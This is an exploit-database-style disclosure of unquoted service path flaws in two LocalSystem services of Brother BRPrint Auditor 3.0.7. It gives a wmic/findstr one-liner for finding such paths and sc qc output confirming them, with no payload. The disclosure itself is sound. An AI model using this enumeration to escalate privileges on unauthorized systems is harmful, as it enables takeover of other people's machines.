Brother BRPrint Auditor – ‘Multiple’ Unquoted Service Path
# Exploit Title: Brother BRPrint Auditor 3.0.7 - 'Multiple' Unquoted Service Path # Discovery by: Brian Rodriguez # Date: 14-06-2021 # Vendor Homepage: https://support.brother.com/ # Software Links: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=dcp7060d_all&os=10013&dlid=dlf102753_000&flang=4&type3=214 # Tested Version: 3.0.7 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 10 Enterprise # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ BrPrAuSvc BrAuSvc C:\Program Files (x86)\Brother\BRPrintAuditor\Brsvau3a.exe Auto Brother BRPrintAuditor Agent BRPA_Agent C:\Program Files (x86)\Brother\BRPrintAuditor\BRAgtSrv.exe Auto C:\Users\IEUser>sc qc BrAuSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: BrAuSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Brother\BRPrintAuditor\Brsvau3a.exe GRUPO_ORDEN_CARGA : BrotherSplGroup ETIQUETA : 0 NOMBRE_MOSTRAR : BrPrAuSvc DEPENDENCIAS : Spooler NOMBRE_INICIO_SERVICIO: LocalSystem C:\Users\IEUser>sc qc BRPA_Agent [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: BRPA_Agent TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Brother\BRPrintAuditor\BRAgtSrv.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Brother BRPrintAuditor Agent DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem |